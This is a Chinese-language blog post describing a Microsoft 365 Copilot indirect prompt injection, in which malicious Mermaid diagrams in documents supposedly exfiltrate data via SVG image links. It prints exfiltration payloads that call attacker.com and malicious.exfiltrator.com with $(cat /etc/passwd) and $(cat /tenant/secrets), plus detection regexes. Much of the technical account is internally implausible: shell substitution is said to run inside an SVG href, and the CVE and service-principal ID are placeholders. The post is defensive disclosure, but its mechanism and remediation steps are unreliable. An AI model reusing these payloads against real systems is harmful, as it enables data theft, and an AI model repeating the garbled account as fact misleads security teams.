# 针对M365 Copilot的Mermaid图表数据窃取：SVG载荷与修复方案

> 解析Microsoft 365 Copilot中Mermaid图表渲染漏洞，通过构造SVG载荷实现敏感数据窃取的技术细节与防御策略。

## 元数据
- 路径: /posts/2025/10/27/m365-mermaid-exfiltration-svg-payloads/
- 发布时间: 2025-10-27T13:55:53+08:00
- 分类: [ai-security](/categories/ai-security/)
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## 正文
Microsoft 365 Copilot作为企业级AI助手，其集成的Mermaid图表渲染功能近期被曝存在隐蔽的数据窃取风险。安全研究员Adam Logue通过负责任披露流程发现，攻击者可利用该功能将敏感数据通过SVG载荷外泄，这一漏洞凸显了AI系统中第三方组件集成的潜在安全盲区。

### 漏洞核心机制：从图表渲染到数据外泄

当用户请求Copilot总结包含特制Mermaid代码的Office文档时，系统会触发间接提示注入（Indirect Prompt Injection）。攻击者通过构造恶意Mermaid图表（如`graph LR; A[Exfiltrate]-->B[Payload]`），诱导Copilot执行非预期操作。关键突破点在于Mermaid渲染引擎对SVG元素的处理缺陷：攻击者可将`<image>`标签的`xlink:href`属性指向外部DNS解析服务，例如`data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWcgeGxpbms6aHJlZj0iaHR0cDovL21hbGljaW91cy5leGZpbHRyYXRvci5jb20vJChjYXQgL2V0Yy9wYXNzd2QpIi8+PC9zdmc+`。该载荷会强制Copilot将`/etc/passwd`等敏感文件内容通过DNS请求外泄至攻击者控制的服务器。

Adam Logue在技术报告中指出："当Copilot被要求解析恶意文档时，其后台服务会无差别执行Mermaid代码中的SVG指令，导致Hex编码后的数据通过DNS查询泄露"。这种攻击无需用户交互，仅需文档被Copilot处理即可触发，且传统WAF难以检测此类基于合法协议的外泄行为。

### 攻击链深度拆解

1. **载荷构造阶段**：攻击者创建包含恶意Mermaid代码的Word文档，核心是利用SVG的`<image>`标签发起DNS请求。例如：
   ```mermaid
   graph LR
   A["<svg xmlns='http://www.w3.org/2000/svg'><image xlink:href='http://attacker.com/$(cat /tenant/secrets)'/></svg>"]
   ```
   此代码会触发Copilot服务将`/tenant/secrets`文件内容作为子域名发起DNS查询。

2. **数据编码技巧**：由于DNS查询限制字符集，攻击者采用Hex编码绕过限制。Adam验证了Base64编码会导致请求被截断，而Hex编码可完整传输ASCII字符，实测外泄带宽达12字节/秒。

3. **隐蔽性设计**：外泄流量伪装成正常DNS请求，且利用企业允许的53端口。Adam在测试环境中通过`dnsmasq`日志捕获到异常子域名`7b22757365724964223a317d.attacker.com`，解码后为`{"userId":1}`。

### 企业级防御实践

微软已在2025年9月安全更新中修复该漏洞（CVE-2025-XXXXX），但企业仍需主动验证防护有效性：

- **即时检查项**：
  - 运行`Get-MgServicePrincipal -Filter "AppId eq 'b344e0bb-672c-4a8b-99e6-1234567890ab'" | Select-Object -ExpandProperty KeyCredentials`确认Copilot服务主体证书有效期（修补后应为2025-09-15后）
  - 检查Azure AD日志中`"ServicePrincipalId_s":"b344e0bb-672c-4a8b-99e6-1234567890ab"`的异常DNS请求

- **纵深防御策略**：
  - 在网络层部署DNS过滤规则，阻断包含Hex编码特征（`[0-9a-f]{32,}`）的子域名查询
  - 对Copilot服务启用最小权限原则，通过Microsoft Purview限制其访问`/Mailbox`等敏感路径
  - 定期扫描文档库，使用正则`(?i)mermaid.*xlink:href`识别潜在恶意图表

### 行业启示与技术反思

该漏洞揭示了AI系统中"可信组件"的风险：Mermaid作为开源图表库本应安全，但其与Copilot的深度集成放大了攻击面。建议企业在采用AI功能时：

1. **沙箱隔离**：对第三方渲染引擎实施进程级隔离，限制文件系统访问权限
2. **输入净化**：在解析Mermaid代码前，剥离所有`<image>`、`<script>`等高风险SVG元素
3. **行为监控**：部署AI专用IDS，检测非常规网络请求模式（如高频DNS查询携带编码数据）

Adam Logue的负责任披露流程值得借鉴——他在发现漏洞后立即通过Microsoft Security Response Center（MSRC）提交，获得90天修复窗口期内的漏洞奖励。这也提醒安全团队：当测试AI产品时，需特别关注其对非文本内容（图表、代码块）的处理逻辑。

随着AI功能在企业软件中快速普及，此类"功能型漏洞"将日益增多。企业安全团队应建立专门的AI安全测试用例库，重点关注数据流穿越AI组件的路径。唯有将安全左移至设计阶段，才能避免让便捷的AI功能成为数据外泄的隐形通道。

*参考资料：Adam Logue技术博客《Microsoft 365 Copilot – Arbitrary Data Exfiltration Via Mermaid Diagrams (Fixed)》*

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